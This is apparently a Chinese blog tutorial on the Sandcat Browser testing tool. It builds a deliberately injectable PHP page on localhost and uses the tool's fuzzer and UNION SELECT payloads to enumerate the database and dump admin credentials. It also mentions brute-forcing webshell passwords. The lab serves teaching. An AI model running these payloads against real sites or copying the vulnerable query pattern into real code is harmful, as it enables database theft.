0x00 前言

前几天读了小冰童鞋的Burp Suite使用测试文章,工具用起来不错。但是Burp Suite需要浏览器设置代理以截获并修改数据有时候不是方便。刚好用到Sandcat Browser这款工具,也顺便给大家介绍一下。

Sandcat Browser是又一款基于google Chromium引擎的轻量级渗透测试平台。它免费、方便携带、主要用于渗透测试并且支持多标签。同样是以扩展和脚本的形式打造渗透测试工具包。

0x01 Injection环境

这里以普通Injection攻击为例对这款工具的Fuzz等功能做一个简单体验。PHP构造一个数字型注入。代码如下:

<?php
    //数据库连接
    $db= mysql_connect('localhost','root','root');
    mysql_select_db("inject",$db);
    mysql_query("set names gbk");
    if (isset($_GET['id']))
    $id=$_GET['id'];
    else
    $id=1;
    //数字型注入点的构造
    $sql='select * from news where id='.$id;
    echo "Your SqL:";
    echo $sql;
    $result=mysql_query($sql);
    $news=mysql_fetch_row($result);
    printf("<br>New id:%d<br>Contents:%s",$news[0],$news[1]);
?>

保存文件为sql.php,放在PHP环境下。与之对应需要创建一个名为inject的数据库。其sql导出文件如下:

//创建Admin表,三个字段,id、name和pass
CREATE TABLE IF NOT EXISTS `admin` (
  `id` int(11) NOT NULL,
  `name` text NOT NULL,
  `pass` text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
//插入一行数据
INSERT INTO `admin` (`id`, `name`, `pass`) VALUES
(1, 'admin', 'password');
//创建news表,两个字段,id和new
CREATE TABLE IF NOT EXISTS `news` (
  `id` int(11) NOT NULL,
  `new` varchar(64) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
//插入两行数据
INSERT INTO `news` (`id`, `new`) VALUES
(1, 'news1'),
(2, 'news2');

至此,测试环境搭建完毕.

0x02 工具布局

下面简单介绍一下Sandcat browser这个测试平台的布局。工具打开的界面:

img

  • 1.工具栏第一个图标为Extensions扩展功能。如图2中包含“Request Editor”“Fuzz”“Run Javascript”等功能。对应选择Request Editor打开修改请求的窗口。

img

  • 2.第二个图标View Live Headers可以用来查看发送的HTTP头的请求与响应情况,如图3。

img

  • 3.第三个图标为Clear Log,顾名思义,清除工具记录。

  • 4.第四至第六个图标设置运行Script。大家自行尝试。

值得一提的是,这款测试平台也拥有Developer Tools开发者工具,在工具栏最后一个图标就有显示。与Chrome类似,如图4。

img

0x03 工具测试

下面我们利用注入点尝试进行Inject攻击。

首先打开Live Headers和Fuzz功能区。打开http://127.0.0.1/inject/sql.php?id=1。在Fuzz功能区看到“Base Request”部分,首行显示如下:

GET /inject/sql.php?id=1{$1} HTTP/1.1

类似Burp Suite中的$$作用,这里{$1}便可以理解为我们要Fuzz之处。首先进行基本的注入检测,Method选择“Wordlist”,挂上检测的字典(默认为lst文件)。如图5。这里示例一个字典内容如下:

img

'
"
/
/*
#
and 1=1
and 1=2
and 1>2

之后执行RUN Fuzzer即可,通过查看HTTP头响应情况中的Length,便可以发现端倪,如图6。

img

可以看到,加单引号后报错,故响应长度Length会比正常要长。

既然确定有注入点,下面便列一下字段的数目,已知在id=1注入点后加order by N,如果报错说明字段数小于N。于是同样挂上另一个字典,内容如下。

/**/ORDER/**/BY/**/1-- 
/**/ORDER/**/BY/**/2-- 
/**/ORDER/**/BY/**/3-- 
/**/ORDER/**/BY/**/4-- 
...

执行一下Run Fuzzer,如图7,根据返回的Length长度确定字段数目为2。下面手工确定字段类型。

img

http://127.0.0.1/inject/sql.php?id=1 union select 3,7--返回正确
http://127.0.0.1/inject/sql.php?id=1 union select a,b--返回错误
http://127.0.0.1/inject/sql.php?id=1 union select 3,b--返回正确

可知第一个字段为数字型,第二个字段为字符型。要进一步利用替换掉第二个字段即可。下面获取基本信息:

http://127.0.0.1/inject/sql.php?id=1 and 1=2 union select 3,Version()--//Mysql版本
http://127.0.0.1/inject/sql.php?id=1 and 1=2 union select 3,User--//管理用户名
http://127.0.0.1/inject/sql.php?id=1 and 1=2 union select 3,Database()--//数据库名
http://127.0.0.1/inject/sql.php?id=1 and 1=2 union select 3,@@hostname--//主机名
http://127.0.0.1/inject/sql.php?id=1 and 1=2 union select 3,@@basedir--//Mysql路径

当然,以上也可以搞成一个字典,Request处修改为

http://127.0.0.1/inject/sql.php?id=1 and 1=2 union select 3,{$1}--

挂载字典Run Fuzzer即可。

获取基本信息后,我们已经知道,当前数据库名为inject,而我们目标便是获取其管理员账户和密码(也就是Admin表中的name和pass)。走老套的路子,首先获取inject中的表名。

http://127.0.0.1/inject/sql.php?id=1 and 1=2 union select 3,group_concat(table_name) from information_schema.tables where table_schema=0x696E6A656374--

0x696E6A656374是inject的16进制ASCII码,这款工具貌似没有像Burp Suite那样附进制转换以及基本的Base64等解密功能,算是一点小遗憾,可能插件会有。

执行后如图8,得到两个表名分别为admin和news。

img

下面获取Admin表中的字段名。类似的方法:

http://127.0.0.1/inject/sql.php?id=1 and 1=2 union select 3,group_concat(column_name) from information_schema.columns where table_name=0x61646D696E--

得到三个字段名为id,name,pass。最后一步也就是爆账户数据了。

http://127.0.0.1/inject/sql.php?id=1 and 1=2 union select 3,group_concat(id,0x26,name,0x26,pass) from admin--

这里0x26是&的十六进制,分隔数据之用。如图9,得到ID为1的管理员账户名admin,密码为password。

img

过程很简单。只是前面检测部分用了一点点Fuzz功能。发散一下,Fuzz功能可用之处还是很多的。例如破解webshell密码。简单的设置{$1}变量位置,挂载一个密码表,通过HTTP的响应Length长度可判断密码是否正确。在这一点上,这款工具比Burp Suite优越之处为速度较快,当然,与使用的Burp Suite是免费版有关。

0x04 小结

总而言之,Sandcat browser将浏览器与安全测试结合到一起作为测试平台是其一点优势,在其上进行Fuzz或是其他Script的攻击都比较方便,值得一试。

Comments
Write a Comment